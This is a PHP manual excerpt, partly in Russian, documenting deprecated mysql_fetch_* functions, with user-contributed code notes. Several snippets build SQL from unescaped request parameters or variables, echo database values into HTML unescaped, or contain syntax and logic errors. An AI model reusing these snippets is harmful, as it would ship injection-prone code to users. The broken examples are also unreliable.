function array2table: small fix to the post below that handles data returned from mysql that is either null or 0...

This is a useful script for displaying MySQL results in an HTML table.

<?

function array2table($arr,$width)
   {
   $count = count($arr);
   if($count > 0){
       reset($arr);
       $num = count(current($arr));
       echo "<table align=\"center\" border=\"1\"cellpadding=\"5\" cellspacing=\"0\" width=\"$width\">\n";
       echo "<tr>\n";
       foreach(current($arr) as $key => $value){
           echo "<th>";
           echo $key."&nbsp;";
           echo "</th>\n";
           }
       echo "</tr>\n";
       while ($curr_row = current($arr)) {
           echo "<tr>\n";
           $col = 1;
           while (false !== ($curr_field = current($curr_row))) {
               echo "<td>";
               echo $curr_field."&nbsp;";
               echo "</td>\n";
               next($curr_row);
               $col++;
               }
           while($col <= $num){
               echo "<td>&nbsp;</td>\n";
               $col++;
           }
           echo "</tr>\n";
           next($arr);
           }
       echo "</table>\n";
       }
   }

?>

<?

// Add DB connection script here

$query = "SELECT * FROM mytable";
$result = mysql_query($query);
while($row = mysql_fetch_assoc($result)){
  $array[] = $row; }

array2table($array,600); // Will output a table of 600px width

?>
Typer85 at gmail dot com 30-Nov-2006 05:21
Please be advised that the resource result that you pass to this function can be thought of as being passed by reference because a resource is simply a pointer to a memory location.

Because of this, you can not loop through a resource result twice in the same script before resetting the pointer back to the start position.

For example:

----------------
<?php

// Assume We Already Queried Our Database.

// Loop Through Result Set.

while( $queryContent = mysql_fetch_row( $queryResult ) {

    // Display.

    echo $queryContent[ 0 ];
}

// We looped through the resource result already so the
// the pointer is no longer pointing at any rows.

// If we decide to loop through the same resource result
// again, the function will always return false because it
// will assume there are no more rows.

// So the following code, if executed after the previous code
// segment will not work.

while( $queryContent = mysql_fetch_row( $queryResult ) {

    // Display.

    echo $queryContent[ 0 ];
}

// Because $queryContent is now equal to FALSE, the loop
// will not be entered.

?>
----------------

The only solution to this is to reset the pointer to make it point at the first row again before the second code segment, so now the complete code will look as follows:

----------------
<?php

// Assume We Already Queried Our Database.

// Loop Through Result Set.

while( $queryContent = mysql_fetch_row( $queryResult ) {

    // Display.

    echo $queryContent[ 0 ];
}

// Reset Our Pointer.

mysql_data_seek( $queryResult );

// Loop Again.

while( $queryContent = mysql_fetch_row( $queryResult ) {

    // Display.

    echo $queryContent[ 0 ];
}

?>
----------------

Of course you would have to do extra checks to make sure that the number of rows in the result is not 0 or else mysql_data_seek itself will return false and an error will be raised.

Also please note that this applies to all functions that fetch result sets, including mysql_fetch_row, mysql_fetch_assos, and mysql_fetch_array.
R. Bradley 14-Sep-2006 08:34
In response to Sergiu's function - implode() would make things a lot easier ... as below:

<?php
   function mysql_insert_assoc ($my_table, $my_array) {

       // Find all the keys (column names) from the array $my_array
       $columns = array_keys($my_array);

       // Find all the values from the array
       $values = array_values($my_array);

       // We compose the query
       $sql = "insert into `$my_table` ";
       // implode the column names, inserting "\", \"" between each (but not after the last one)
       // we add the enclosing quotes at the same time
       $sql .= "(\"" . implode("\", \"", $column_names) . "\")";
       $sql .= " values ";
       // Same with the values
       $sql .= "(" . implode(", ", $values) . ")";

       $result = mysql_query($sql);

       if ($result)
       {
           echo "The row was added sucessfully";
           return true;
       }
       else
       {
           echo ("The row was not added<br>The error was" . mysql_error());
           return false;
       }
   }
?>

Thus, a call to this function of:
mysql_insert_assoc("tablename", array("col1"=>"val1", "col2"=>"val2"));

Sends the following sql query to mysql:
INSERT INTO `tablename` ("col1", "col2") VALUES ("val1", "val2")
chasfileDELETE_ALL_CAPS at gmail dot com 23-Feb-2006 11:26
What if you *want* a two dimensional array?  Useful for output as an HTML table, for instance.

function mysql_resultTo2DAssocArray ( $result) {
    $i=0;
    $ret = array();
    while ($row = mysql_fetch_assoc($result)) {
        foreach ($row as $key => $value) {
            $ret[$i][$key] = $value;
            }
        $i++;
        }
    return ($ret);
    }

print_r(mysql_resultTo2DAssocArray(mysql_query("SELECT * FROM something")));

Array ( [0] => Array ( [symbol] => ARNA
          [datetime] => 2006-02-17 16:00:00
          [price] => 16.83 )
     [1] => Array ( [symbol] => CALP
          [datetime] => 2006-02-17 16:00:00
          [price] => 6.54 )
     [2] => Array ( [symbol] => CROX
          [datetime] => 2006-02-17 16:00:00
          [price] => 27.4 ))
jono 01-Feb-2006 09:22
Note that the field names quoted within $row[] are case sensitive whereas many sql commands are case insensitive.
benlanc at ster dot me dot uk 23-Aug-2005 04:25
It probably without saying, but using list() in conjunction with mysql_fetch_assoc() does not work - use mysql_fetch_row() instead.

<?php
$sql = "SELECT `id`,`field`,`value` FROM `table`";
$result = mysql_query($sql);

// this results in empty values for rowID,fieldName,myValue
list($rowID,$fieldName,$myValue) = mysql_fetch_assoc($result);

// this is what you want:
list($rowID,$fieldName,$myValue) = mysql_fetch_row($result);
?>
jo at durchholz dot org 21-Jun-2005 01:58
To sum up moverton at northshropshiredc dot gov dot uk and Olivier Fabre:

If the query is "SELECT something1, something2, .... FROM tbl WHERE some_condition", the keys in the returned array will be 'something1', 'something2', etc. *even for those "somethings" that are not just field names*.

Examples of non-fieldname "somethings" are:
NULL
NOW
MAX(some_fieldname)

I haven't tested whether this applies to table.fieldname, but I see no reason why it shouldn't (I'd suspect a typo in my code if I didn't get the expected results; I certainly have had my share of them!)

I found it most convenient to check for typos by simply var_dumping the resulting row, like this:

<?php
echo '<pre>Got this row:'
var_dump ($row);
echo '</pre>';
?>

where $row is the result from the last call to mysql_fetch_assoc.
erik[at]phpcastle.com 14-May-2005 12:50
When you have to loop multiple times through the result of a query you can set the result pointer to 0 (zero) with mysql_data_seek ()

The advantage is that you do not have to query database twice with te same query :)

So:
<?php
  $query = "
    SELECT *
    FROM database
  ";

  //Query database
  $result = mysql_query ($query);

  //Iterate result
  while ($record = mysql_fetch_assoc ($result)){
    print_r ($record);
  }

  ...

  //Point to 0 (zero)
  mysql_data_seek ($result, 0);

  //Re-use the result
  while ($record = mysql_fetch_assoc ($result)){
    print_r ($record);
  }
?>
joe at kybert dot com 29-Sep-2004 01:07
Worth pointing out that the internal row pointer is incremented once the data is collected for the current row.

This means that multiple calls will iterate through the row data, so you DONT need to mysql_data_seek(..) between calls.

This is noted in the  mysql_fetch_row() docs, but not here!?
moverton at northshropshiredc dot gov dot uk 17-Sep-2004 05:27
Actually, Olivier, you're completely wrong about that, because there's a bug in your sample code. It will indeed return $row['MAX(time)'] - you have to pass the MySQL resource to mysql_fetch_assoc() and you're not doing that. This:

$row = mysql_fetch_assoc($conn)

...where $conn is your DB connection, would in fact produce a result. The complete example below is taken from my own self-written content management system:

$query = 'SELECT MAX(ctRevDate) FROM content group by ctPage';
$querySet = mysql_query($query, $conn);
$row = mysql_fetch_assoc($querySet);
print_r($row);

This produces:

Array
(
    [MAX(ctRevDate)] => 2004-01-15
)

..on my testbed. So it doesn't in fact need an alias at all.
marREtijn dot posthMOuma at hoVEme dot nl 04-Sep-2003 04:57
It appears that you can't have table.field names in the resulting array.
Just use an alias if your results come up empty and you are using multi-table query's:

$res=mysql_query("SELECT user.ID AS uID, order.ID AS oID FROM user, order WHERE ( order.userid=uID )";
while ($row=mysql_fetch_assoc($res)) {
   echo "<p>userid: $row['uID'], orderid: $row['oID']</p>";
}


Возвращает информацию о колонке из результата запроса в виде объекта

  • « mysql_fetch_assoc
  • mysql_fetch_lengths »
  • PHP Manual
  • MySQL
  • Возвращает информацию о колонке из результата запроса в виде объекта

mysql_fetch_field

(PHP 4, PHP 5)

mysql_fetch_field — Возвращает информацию о колонке из результата запроса в виде объекта

Внимание

Данный модуль устарел, начиная с версии PHP 5.5.0, и удалён в PHP 7.0.0. Используйте вместо него MySQLi или PDO_MySQL. Смотрите также инструкцию MySQL: выбор API. Альтернативы для данной функции:

  • mysqli_fetch_field()
  • PDOStatement::getColumnMeta()

Описание

mysql_fetch_field(resource $result, int $field_offset = 0): object

Возвращает объект, содержащий информацию о колонке. Эту функцию можно использовать для получения информации о полях в переданном результате запроса.

Список параметров

result

Обрабатываемый результат запроса. Этот результат может быть получен с помощью функции mysql_query().

field_offset

Числовое смещение поля. Если смещение не указано, функция возвращает информацию о первой колонке, которая ещё не была обработана этой функцией. Нумерация field_offset начинается с 0.

Возвращаемые значения

Возвращает object, содержащий информацию о колонке. Объект содержит следующие свойства:

  • name - название колонки
  • table - название таблицы, которой принадлежит колонка, или псевдоним таблицы, если он был определён
  • max_length - максимальная длина колонки
  • not_null - 1, если колонка не может быть null
  • primary_key - 1, если колонка является первичным индексом
  • unique_key - 1, если колонка является уникальным индексом
  • multiple_key - 1, если колонка является неуникальным индексом
  • numeric - 1, если колонка численная
  • blob - 1, если колонка является BLOB
  • type - тип колонки
  • unsigned - 1, если колонка не содержит знака (unsigned)
  • zerofill - 1, если колонка заполняется нулями (zero-filled)

Примеры

Пример #1 Пример использования mysql_fetch_field()

<?php
$conn = mysql_connect('localhost', 'mysql_user', 'mysql_password');
if (!$conn) {
die('Ошибка при соединении: ' . mysql_error());
}
mysql_select_db('database');
$result = mysql_query('select * from table');
if (!$result) {
die('Ошибка в запросе: ' . mysql_error());
}
/* получаем данные о колонке */
$i = 0;
while ($i < mysql_num_fields($result)) {
echo "Информация о колонке $i:<br />\n";
$meta = mysql_fetch_field($result, $i);
if (!$meta) {
echo "Информация недоступна<br />\n";
}
echo "<pre>
blob: $meta->blob
max_length: $meta->max_length
multiple_key: $meta->multiple_key
name: $meta->name
not_null: $meta->not_null
numeric: $meta->numeric
primary_key: $meta->primary_key
table: $meta->table
type: $meta->type
unique_key: $meta->unique_key
unsigned: $meta->unsigned
zerofill: $meta->zerofill
</pre>";
$i++;
}
mysql_free_result($result);
?>

Примечания

Замечание: Имена полей, возвращаемые этой функцией являются зависимыми от регистра.

Замечание:

Если поля или таблицы имеют дополнительные имена в запросе SQL, то будет возвращены эти дополнительные имена. Исходное имя может быть получено, например, с помощью mysqli_result::fetch_field().

Смотрите также

  • mysql_field_seek() - Устанавливает внутренний указатель результата на переданное смещение поля

User Contributed Notes

mwwaygoo AT hotmail DOT com 30-May-2012 10:20
Using mysql_fetch_field you can produce a more robust version of mysql_fetch_assoc.

When querying 2 tables with the same field names, generally you would need to use mysql_fetch_row to get an integer key'ed array rather than an associated key'ed array. This is because fields of the same name in the second table will over-write the data returned from the first table.
However this simple function will insert the table name prior to the field name for the key and prevent cross-overs.

ie SELECT *, 'test' AS test 4 FROM table AS T_1, table AS T_2 WHERE T_1.a=T_2.b

could produce:

mysql_fetch_assoc() returns
array(
'index'=>2,
'a'=>'pear',
'b'=>'apple',
'test'=>'test',
4=>4
)

mysql_fetch_table_assoc() returns
array(
'T_1.index' =>1,
'T_1.a'=>'apple',
'T_1.b'=>'banana',
'T_2.index'=>2,
'T_2.a'=>'pear',
'T_2.b'=>'apple',
'test'=>'test',
4=>4
)

<?php
function mysql_fetch_table_assoc($resource)
{
    // function to get all data from a query, without over-writing the same field
    // by using the table name and the field name as the index

    // get data first
    $data=mysql_fetch_row($resource);
    if(!$data) return $data; // end of data

    // get field info
    $fields=array();
    $index=0;
    $num_fields=mysql_num_fields($resource);
    while($index<$num_fields)
    {
        $meta=mysql_fetch_field($resource, $index);
        if(!$meta)
        {
            // if no field info then just use index number by default
            $fields[$index]=$index;
        }
        else
        {
            $fields[$index]='';
            // deal with field aliases - ie no table name (SELECT T_1.a AS temp)
            if(!empty($meta->table)) $fields[$index]=$meta->table.'.';
            // deal with raw data - ie no field name (SELECT 1)
            if(!empty($meta->name))  $fields[$index].=$meta->name; else $fields[$index].=$index;
        }
        $index++;
    }
    $assoc_data=array_combine($fields, $data);
    return $assoc_data;
}
?>
Daniel B 26-Mar-2012 02:56
Simple function to display all data in a query...

function dumpquery($query) {
    $numfields = mysql_num_fields($query);
    echo '<table border="1" bgcolor="white"><tr>';
    for ($i = 0; $i<$numfields; $i += 1) {
        $field = mysql_fetch_field($query, $i);
        echo '<th>' . $field->name . '</th>';
    }
    echo '</tr>';
    while ($fielddata = mysql_fetch_array($query)) {
        echo '<tr>';
        for ($i = 0; $i<$numfields; $i += 1) {
            $field = mysql_fetch_field($query, $i);
            echo '<td>' . $fielddata[$field->name] . '</td>';
        }
        echo '</tr>';
    }
    echo '</table>';
}
lucien at ocia dot nl 04-Feb-2012 01:08
Performance Notes!

I used this script for testing, the table has 26 colums.

<?php
$t_start = microtime(true);
$sql = mysql_query("SELECT * FROM `table` LIMIT 1") or trigger_error(mysql_error(), E_USER_WARNING);
for ($i = 0; $i < mysql_num_fields($sql); $i++) {
    $meta = mysql_fetch_field($sql, $i);
    echo "Information for column ".$meta->name.":\n";
    echo
"\tblob:         $meta->blob
\tmax_length:   $meta->max_length
\tmultiple_key: $meta->multiple_key
\tname:         $meta->name
\tnot_null:     $meta->not_null
\tnumeric:      $meta->numeric
\tprimary_key:  $meta->primary_key
\ttable:        $meta->table
\ttype:         $meta->type
\tunique_key:   $meta->unique_key
\tunsigned:     $meta->unsigned
\tzerofill:     $meta->zerofill
";
}
$t_stop = microtime(true);
$t_proc = $t_stop - $t_start;
echo "processing time query 1: ".number_format($t_proc * 1000, 3)." ms\n";
unset($t_start);
unset($t_stop);
unset($t_proc);
$t_start = microtime(true);
$sql = mysql_query("DESCRIBE `table`");
while ($res = mysql_fetch_array($sql, MYSQL_ASSOC)) {
    print_r($res);
}
$t_stop = microtime(true);
$t_proc = $t_stop - $t_start;
echo "processing time query 2: ".number_format($t_proc * 1000, 3)." ms\n";
?>

Query 1 => 0.444 ms
Query 2 => 1.146 ms

So for easy usage, Query 2 is advised... But if your a performance-geek, you should use Query 1.
eviltofu at gmail dot com 08-Jul-2011 05:58
MYSQLI_TYPE_BLOB indicates the field is a BLOB or a TEXT. I think you would need to check the blob value. If its true then it's a BLOB, otherwise it's a TEXT. Can someone confirm?
Jonathan 30-Jul-2010 05:45
It should be noted that the primary_key member variable is only set to 1 if the primary key on the table is only on that 1 field. If you have a table that has a multiple column primary key, then you will not get what you might expect.

For example:
CREATE TABLE `line_item_table` (
  `liForeignKey1` int(11) unsigned not null,
  `liForeignKey2` int(11) unsigned not null,
  PRIMARY KEY (`liForeignKey1`, `liForeignKey2`)
) ENGINE=MyISAM;

While you might expect that primary_key == 1 for both columns; var_dump() will show you that you get the following for both fields:
["primary_key"]=>int(0)

This is as of PHP 5.2.13 and MySQL 5.0.51
TALU 04-Feb-2009 08:16
XML generation.

Bit of a security risk allowing parameters to select db and table on live server (unless user is restricted or replace the $_GET with fixed value.)

Outputs xml with standard format for <config> part to generate forms in flash.

<?php
    //
    //    makeXML.php?db=dbname&table=tablename
    //

    set_time_limit(300);

    $host = "localhost";
    $user = "root";
    $password = "root";

    $database = $_GET['db'];
    $table = $_GET['table'];

    mysql_connect($host,$user,$password);
    @mysql_select_db($database) or die( "Unable to select database");

    $querytext="SELECT * FROM ".$table;
    $result=mysql_query($querytext);

    if ($result){
        $num=mysql_num_rows($result);
    }else{
        $num=0;
    }

?>
<?php
    header('Content-Type: text/xml');
     echo "<?xml version='1.0'?>";

     if ($num > 0){
 ?>
<<?php  echo $table?>>
    <config>
        <?php
            // Display number of fields
            echo "<numFields>".mysql_num_fields($result)."</numFields>";
            $i = 0;
            $primaryKey = "";
            $nameArray = array();
            $maxLengthArray = array();
            $typeArray = array();
            while ($i < mysql_num_fields($result)) {
                $meta = mysql_fetch_field($result, $i);
                $nameArray[$i] = $meta->name;
                $maxLengthArray[$i] = $meta->max_length;
                $typeArray[$i] = $meta->type;
                if ($meta->primary_key){
                    $primaryKey = $meta->name;
                }
                $i++;
            }
            $i = 0;
            echo "<fieldNames>";
            while ($i < count($nameArray)) {
                echo "<field".$i.">".$nameArray[$i]."</field".$i.">";
                $i++;
            }
            echo "</fieldNames>";
            $i = 0;
            echo "<fieldMaxLength>";
            while ($i < count($maxLengthArray)) {
                echo "<field".$i.">".$maxLengthArray[$i]."</field".$i.">";
                $i++;
            }
            echo "</fieldMaxLength>";
            $i = 0;
            echo "<fieldType>";
            while ($i < count($typeArray)) {
                echo "<field".$i.">".$typeArray[$i]."</field".$i.">";
                $i++;
            }
            echo "</fieldType>";
        ?>
        <primaryKey><?php  echo $primaryKey?></primaryKey>
        <numRecords><?php  echo $num?></numRecords>
    </config>
<?php
    $i=0;
    while ($i < $num) {
        $ID=mysql_result($result,$i,"ID");
        $value=mysql_result($result,$i,"value");
        $title=mysql_result($result,$i,"title");
        $description=mysql_result($result,$i,"description");
?>
    <row>
        <ID><?php  echo $ID?></ID>
        <weighting><?php  echo $value?></weighting>
        <title><?php  echo $title?></title>
        <description><?php  echo $description?></description>
    </row>
<?php
        $i = $i + 1;
    }
?>
</<?php  echo $table?>>

<?php
    }
?>
php [spat] hm2k.org 04-Nov-2008 03:22
An improvement on the earlier mysql_column_exists function.

<?php

function mysql_column_exists($table_name, $column_name, $link=false) {
    $result = @mysql_query("SHOW COLUMNS FROM $table_name LIKE '$column_name'", $link);
    return (mysql_num_rows($result) > 0);
}

?>
jorachim at geemail dot com 25-Sep-2008 01:09
If you want the fields in a table, a simple DESCRIBE query will work:

<?php
$query ="DESCRIBE Users";
$result = mysql_query($query);

echo "<ul>";

while($i = mysql_fetch_assoc($result))
     echo "<li>{$i['Field']}</li>";

echo "</ul>";
?>

Should do the trick.
david at vitam dot be 10-Jun-2008 05:57
A little function to help coders to distinct the tablename from a multiselect query where some fields has the same name in differents tables.

<?php
public function sql($sql) {
    $T_Return=array();
    $result=@mysql_query($sql);

    $i=0;
    while ($i < mysql_num_fields($result)) {
        $fields[]=mysql_fetch_field($result, $i);
        $i++;
    }

    while ($row=mysql_fetch_row($result)) {
        $new_row=array();
        for($i=0;$i<count($row); $i++) {
            $new_row[ $fields[$i]->table][$fields[$i]->name]=$row[$i];
        }
        $T_Return[]=$new_row;
    }

    return $T_Return;
}
?>
dheep 03-Jun-2008 08:56
Simple PHP script for displaying the field names. Presuming the database is seleected already.

<?php
$sql = "SELECT * FROM table_name;";
$result = mysql_query($sql);
$i = 0;
while($i<mysql_num_fields($result))
{
  $meta=mysql_fetch_field($result,$i);
  echo $i.".".$meta->name."<br />";
  $i++;
}
?>

OUTPUt:
0.id
1.todo
2.due date
3.priority
4.type
5.status
6.notes

hope this is useful.
Nick Baicoianu 15-Sep-2005 11:18
Be sure to note that $max_length is the length of the longest value for that field in the returned dataset, NOT the maximum length of data that column is designed to hold.
php at brayra dot com 21-Mar-2002 04:09
I needed to get the field information and the enum/set values. Here is the function I created to expand the object returned by mysql_fetch_field. I also, decided to return all the fields for a table in an array of field objects by "name" and position much like mysql_fetch_array does.

You could test it by using:

<?php
$myfields = GetFieldInfo('test_table');
print "<pre>";
print_r($myfields);
print "</pre>";
?>

The field objects now have 'len', 'values' and 'flags' parameters.
NOTE: 'values' only has data for set and enum fields.

<?php
//This assumes an open database connection
//I also use a constant DB_DB for current database.
function GetFieldInfo($table)
{
  if($table == '') return false;
  $fields = mysql_list_fields(DB_DB, $table);
  if($fields){
    $columns = mysql_query('show columns from ' . $table);
    if($columns){
      $num = mysql_num_fields($fields);
      for($i=0; $i < $num; ++$i){
        $column = mysql_fetch_array($columns);
        $field = mysql_fetch_field($fields, $i);
        $flags = mysql_field_flags($fields, $i);
        if($flags == '') $flags=array();
        else $flags = explode(' ',$flags);
        if (ereg('enum.(.*).',$column['Type'],$match))
          $field->values = explode(',',$match[1]);
        if (ereg('set.(.*).',$column['Type'],$match))
          $field->values = explode(',',$match[1]);
        if(!$field->values) $field->values = array();
        $field->flags = $flags;
        $field->len = mysql_field_len($fields, $i);
        $result_fields[$field->name] = $field;
        $result_fields[$i] = $field;
      }
      mysql_free_result($columns);
    }
    mysql_free_result($fields);
    return $result_fields;
  }
  return false;
}
?>

hope someone else finds this useful.
krang at krang dot org dot uk 10-Mar-2002 06:12
The field type returns what PHP classifies the data found in the field, not how it is stored in the database; use the following example to retrieve the MySQL information about the field....

<?php
$USERNAME = '';
$PASSWORD = '';

$DATABASE = '';
$TABLE_NAME = '';

mysql_connect('localhost', $USERNAME, $PASSWORD)
    or die ("Could not connect");

$result = mysql_query("SHOW FIELDS FROM $DATABASE.$TABLE_NAME");

$i = 0;

while ($row = mysql_fetch_array($result)) {
  echo $row['Field'] . ' ' . $row['Type'];
}
?>


Возвращает длину каждого поля в результате

  • « mysql_fetch_field
  • mysql_fetch_object »
  • PHP Manual
  • MySQL
  • Возвращает длину каждого поля в результате

mysql_fetch_lengths

(PHP 4, PHP 5)

mysql_fetch_lengths — Возвращает длину каждого поля в результате

Внимание

Данный модуль устарел, начиная с версии PHP 5.5.0, и удалён в PHP 7.0.0. Используйте вместо него MySQLi или PDO_MySQL. Смотрите также инструкцию MySQL: выбор API. Альтернативы для данной функции:

  • mysqli_fetch_lengths()
  • PDOStatement::getColumnMeta()

Описание

mysql_fetch_lengths(resource $result): array|false

Возвращает массив длин для каждого поля, содержащегося в последнем ряду результата, полученном из MySQL.

mysql_fetch_lengths() возвращает длины каждого поля,
содержащегося в последнем ряду, обработанном функциями
mysql_fetch_row(),
mysql_fetch_assoc(),
mysql_fetch_array() и
mysql_fetch_object() в массиве, начинающемся с 0.

Список параметров

result

Обрабатываемый результат запроса. Этот результат может быть получен с помощью функции mysql_query().

Возвращаемые значения

Массив (array) длин в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования mysql_fetch_lengths()

<?php
$result = mysql_query("SELECT id,email FROM people WHERE id = '42'");
if (!$result) {
echo 'Ошибка выполнения запроса: ' . mysql_error();
exit;
}
$row = mysql_fetch_assoc($result);
$lengths = mysql_fetch_lengths($result);

print_r($row);
print_r($lengths);
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [id] => 42
    [email] => user@example.com
)
Array
(
    [0] => 2
    [1] => 16
)

Смотрите также

  • mysql_field_len() - Возвращает длину указанного поля
  • mysql_fetch_row() - Обрабатывает ряд результата запроса и возвращает массив с числовыми индексами
  • strlen() - Возвращает длину строки

User Contributed Notes

Bavo Janss 10-Jul-2009 07:19
In case of UTF8 fields mysql_field_len() will return 3 times the maximum length (e.g. 30 for a VARCHAR(10) field)) for mysql_field_len() returns the byte length of the field not the defined size.


Обрабатывает ряд результата запроса и возвращает объект

  • « mysql_fetch_lengths
  • mysql_fetch_row »
  • PHP Manual
  • MySQL
  • Обрабатывает ряд результата запроса и возвращает объект

mysql_fetch_object

(PHP 4, PHP 5)

mysql_fetch_object — Обрабатывает ряд результата запроса и возвращает объект

Внимание

Данный модуль устарел, начиная с версии PHP 5.5.0, и удалён в PHP 7.0.0. Используйте вместо него MySQLi или PDO_MySQL. Смотрите также инструкцию MySQL: выбор API. Альтернативы для данной функции:

  • mysqli_fetch_object()
  • PDOStatement::fetch() с параметром mode заданным как PDO::FETCH_OBJ

Описание

mysql_fetch_object(resource $result, string $class_name = ?, array $params = ?): object

Возвращает объект со свойствами, соответствующими колонкам в обработанном ряду и сдвигает внутренний указатель результата вперёд.

Список параметров

result

Обрабатываемый результат запроса. Этот результат может быть получен с помощью функции mysql_query().

class_name

Имя класса. Будет создан экземпляр указанного класса, заполнен свойствами и возвращён. Если не указан, возвращается экземпляр stdClass.

params

Необязательный массив (array) параметров, передаваемых в конструктор создаваемого экземпляра class_name.

Возвращаемые значения

Возвращает объект (object) со строковыми свойствами, соответствующими полученному ряду, или false, если рядов больше нет.

Примеры

Пример #1 Пример использования mysql_fetch_object()

<?php
mysql_connect("hostname", "user", "password");
mysql_select_db("mydb");
$result = mysql_query("select * from mytable");
while ($row = mysql_fetch_object($result)) {
echo $row->user_id;
echo $row->fullname;
}
mysql_free_result($result);
?>

Пример #2 Пример использования mysql_fetch_object()

<?php
class foo {
public $name;
}

mysql_connect("hostname", "user", "password");
mysql_select_db("mydb");

$result = mysql_query("select name from mytable limit 1");
$obj = mysql_fetch_object($result, 'foo');
var_dump($obj);
?>

Примечания

Замечание: Производительность

В плане скорости эта функция аналогична mysql_fetch_array() и почти также быстра, как mysql_fetch_row() (разница незначительна).

Замечание:

mysql_fetch_object() работает аналогично mysql_fetch_array(), с единственным отличием - функция возвращает объект вместо массива. Это, кроме всего прочего, означает, что вы сможете работать с полями только по имени колонок, а не индексов (числа не могут быть свойствами объекта).

Замечание: Имена полей, возвращаемые этой функцией являются зависимыми от регистра.

Замечание: Эта функция устанавливает NULL-поля в значение null PHP.

Смотрите также

  • mysql_fetch_array() - Обрабатывает ряд результата запроса, возвращая ассоциативный массив, численный массив или оба
  • mysql_fetch_assoc() - Возвращает ряд результата запроса в качестве ассоциативного массива
  • mysql_fetch_row() - Обрабатывает ряд результата запроса и возвращает массив с числовыми индексами
  • mysql_data_seek() - Перемещает внутренний указатель в результате запроса
  • mysql_query() - Посылает запрос MySQL

User Contributed Notes

webmaster at kibab dot com 01-Sep-2010 07:46
That huge difference in timings may be caused by database cache issues. If mysql_fetch_object() was the first function to be used, the cache was empty, but subsequent invocations took the result from the query cache.
mp 27-Aug-2008 10:39
When working with a stdClass object returned from a database query, specifically:

$object = mysql_fetch_object($result)

You may run into assignment problems if you have a field with a '.' in the name.
e.g.: `user.id`

To remedy this situation, you can use curly braces and single quotes during assignment.

In place of:
$myObject->user_id = $object->user.id;

Use:
$myObject->user_id = $object->{'user.id'};
strrev xc.noxeh@ellij 05-Jun-2008 05:28
I created a table, with 5 INT columns, and 1000 rows of random ints.
I did 100 selects:

SELECT * FROM bench... (mysql_fetch_object)
Query time: 5.40725040436
Fetching time: 16.2730708122 (avg: 1.32130565643E-5)
Total time: 21.6803212166

SELECT * FROM bench... (mysql_fetch_array)
Query time: 5.37693023682
Fetching time: 10.3851644993 (avg: 7.48886537552E-6)
Total time: 15.7620947361

SELECT * FROM bench... (mysql_fetch_assoc)
Query time: 5.345921278
Fetching time: 10.6170959473 (avg: 7.64049530029E-6)
Total time: 15.9630172253

"Note: Performance  Speed-wise, the function is identical to mysql_fetch_array(), and almost as quick as mysql_fetch_row() (the difference is insignificant)."

And I am a penguin :)
hcse at op dot pl 03-Jun-2008 03:19
<?php
class Test {

    public $go ;
    private $id ;

    function show() {
        return "id: {$this->id} go: {$this->go}" ;
    }

    function __construct()
    {
        echo "in __construct() ". $this->show() ."\n" ;
        $this->go = uniqid()    ;
    }

}

if (! ($res = mysql_query('SELECT * FROM `test`', $db))) {
    die('Invalid query: ' . mysql_error() . "\n");
}

while($obj = mysql_fetch_object($res, 'Test') ){
    echo "outside ________ ". $obj->show() ."\n\n";
}
?>

This code gives the result:
in __construct() id: 1 go: first
outside ________ id: 1 go: 4845bd99ca2e3

in __construct() id: 2 go: second
outside ________ id: 2 go: 4845bd99ca2fd

It means that __construct() is invoked after filling fields with data from database, eg. it can be used to change strings into integers.
Justin Rovang 16-May-2008 12:24
This is another way to load variables quickly within $this, and allows for intervention on variable names.

All columns from the single-row result are loaded and accessed via $this->_variableName.

<?
class MyClass{
    public function _load($nID) {
        $Q = "SELECT * FROM myTable";
        if($aTmp = RETURN_Q_ARRAY($Q)) {
            $aTmp = $aTmp[0];
            $aK =array_keys($aTmp);
            foreach($aK as $sK) {
                if(!is_numeric($sK)) $this->{"_$sK"}=$aTmp[$sK];
            }
            return true;
        }
        return false;
    }
}

$o = new MyClass;
$o->_load(1);

echo $o->_id; //1
echo $o->_otherColumn; //otherColumn value
Peter T 19-Apr-2008 09:36
If you're using mysql_fetch_object and specifying a class - the properties will be set BEFORE the constructor is executed.  This is generally not an issue, but can cause some major problems if you're properties are set via the __set() magic method and constructor logic must be executed first.
danielpunt 08-Feb-2008 05:20
@Jezze : This wil also work. Also works with static methods.

<?php

class Foo
{
    private $FooBar;

    public function LoadFromId($Id)
    {
        $Result = mysql_query('SELECT * FROM foo WHERE Id = ' . $Id);
        while($Row = mysql_fetch_object($Result, __CLASS__))
        {
            print_r($Row);
        }

    }

}

$Foo = new Foo;
$Foo->LoadAll();

?>
Jezze 24-Sep-2007 10:56
If you have a class that represents itself in a database you can use this function to get the properties.

class MyClass {

  public $name;
  public $language;

  function load($id) {

    $query = mysql_query("SELECT name, language FROM myTable WHERE id = $id");
    $result = mysql_fetch_object($query, get_class($this));

    foreach(get_object_vars($result) as $var => $value) $this->$var = $value;
  }

}

$a = new MyClass();
$a->load(1);
Chris at r3i dot it 18-Aug-2007 10:03
In reply to rodolphe dot bodeau at free dot fr :

The function mysql_fetch_object has other two parameters that you can use.
As the manual say:
mysql_fetch_object( $resource, $class_name, $params ) )

$class_name and $params are optional.

So if you want to fetch a row in a class you can:

1) Define your class Test with method and other stuff.
2) Execute Query
3) call:
$Object = mysql_fetch_object( $Resource, "Test" );

so you can use $Object with the methods

Be aware how you write code in your methods: in this case, classes are used for centralize the code and they are not
really safe because you can have an additional Information
( with a Join Query for example ) without methods to access to them.
So classes need get and set method generalized.
( for extra see PHP 5 Manual O'Rielly on the use of generalized methods get and set )
rodolphe dot bodeau at free dot fr 13-May-2007 05:00
This little function stores the content of a mysql_fetch_object result into an object by using MySQL request field names as object parameters :

<?php
function FetchRequestInObject(&$obj, $req)
{
    $ReqVars = get_object_vars($req);
    foreach ($ReqVars as $ReqName => $ReqValue)
    {
        if (property_exists($obj, $ReqName))
        {
            $obj->$ReqName = $ReqValue;
        }
    }
}
?>

Remember that mysql_fetch_object is case sensitive, so beware of your object properties. Use keyword "AS" in your SQL request to change field name if necessary.
info [at] woeiweb [dot] nl 02-May-2007 12:17
Since PHP 5.2.1 it seems like this function doesn't like queries that return columns with empty names, like:
select '' from `table`

PHP exits and mysql_error() does not return an error.
syntax 21-Oct-2006 06:00
@Simon Paridon and others concerning SQL to php getting results via mysql_fetch_object:

Every query that would fail in a database frontend, such as MySQLs "Query Browser" and only will work by using the `-marks will probably give results hardly accessible in PHP especially if you have column names with "-" or " " in it.

Using the example of Simon Paridon: it is not possible to execute a query like:

SELECT id, user-id FROM unlucky_naming

only

SELECT id, `user-id` FROM unlucky_naming

will work...

